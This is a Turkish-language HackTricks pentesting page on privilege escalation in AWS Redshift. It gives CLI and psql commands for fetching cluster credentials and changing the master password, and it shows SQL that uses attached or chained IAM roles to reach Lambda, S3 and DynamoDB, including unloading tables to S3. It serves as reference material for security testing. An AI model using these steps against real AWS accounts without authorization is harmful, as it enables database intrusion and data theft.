AWS - Redshift Privesc

htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları:

Redshift

RDS hakkında daha fazla bilgi için:

https://github.com/carlospolop/hacktricks-cloud/blob/tr/pentesting-cloud/aws-security/aws-hizmetleri/aws-veritabanları/aws-redshift-enum.md

redshift:DescribeClusters, redshift:GetClusterCredentials

Bu izinlerle tüm küme bilgilerini (ad ve küme kullanıcı adı dahil) alabilir ve erişmek için kimlik bilgilerini alabilirsiniz:

# Get creds
aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:<username>" -d template1 -p 5439

Potansiyel Etki: Veritabanlarının içinde hassas bilgiler bulunabilir.

redshift:DescribeClusters, redshift:GetClusterCredentialsWithIAM

Bu izinlerle tüm kümelerin bilgilerini alabilir ve erişmek için kimlik bilgilerini alabilirsiniz. Unutmayın ki postgres kullanıcısı, kimlik bilgilerini almak için kullanılan IAM kimliğinin sahip olduğu izinlere sahip olacaktır.

# Get creds
aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439

Potansiyel Etki: Veritabanlarında hassas bilgiler bulunabilir.

redshift:DescribeClusters, redshift:ModifyCluster?

AWS CLI üzerinden iç postgres (redshift) kullanıcısının ana parolasını değiştirmek mümkündür (Bu izinlere ihtiyacınız olduğunu düşünüyorum, ancak henüz bunları test etmedim):

aws redshift modify-cluster –cluster-identifier <identifier-for-the cluster> –master-user-password ‘master-password’;

Potansiyel Etki: Veritabanları içinde hassas bilgiler bulunabilir.

Harici Hizmetlere Erişim

Tüm aşağıdaki kaynaklara erişmek için, kullanılacak rolü belirtmeniz gerekecektir. Bir Redshift kümesi, ARN'yi bildiğiniz takdirde kullanabileceğiniz bir AWS rolü listesi atanmış olabilir veya varsayılan olarak atananı kullanmak için sadece "default" olarak ayarlayabilirsiniz.

Ayrıca, Redshift burada açıklandığı gibi, rolleri birleştirmenize (ilk rol ikincisini varsayabildiği sürece) izin verir ve daha fazla erişim elde etmek için sadece virgülle ayırarak bunları birleştirebilirsiniz: iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';

Lambdalar

https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html adresinde açıklandığı gibi, redshift'ten bir lambda fonksiyonunu çağırmak mümkündür. Bunun için şu şekilde bir şey yapabilirsiniz:

CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT)
RETURNS INT
STABLE
LAMBDA 'lambda_function'
IAM_ROLE default;

S3

https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html adresinde açıklandığı gibi, S3 kovalarına okuma ve yazma işlemleri yapmak mümkündür:

# Read
copy table from 's3://<your-bucket-name>/load/key_prefix'
credentials 'aws_iam_role=arn:aws:iam::<aws-account-id>:role/<role-name>'
region '<region>'
options;

# Write
unload ('select * from venue')
to 's3://mybucket/tickit/unload/venue_'
iam_role default;

Dynamo

https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html adresinde açıklandığı gibi, dynamodb'den veri almak mümkündür:

copy favoritemovies
from 'dynamodb://ProductCatalog'
iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole';

Verileri sağlayan Amazon DynamoDB tablosu, AWS Bölgesi'nde kümenizle aynı şekilde oluşturulmalıdır, ancak Amazon DynamoDB tablosunun bulunduğu AWS Bölgesini belirtmek için REGION seçeneğini kullanabilirsiniz.

EMR

https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html adresini kontrol edin.

Referanslar

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları:

Last updated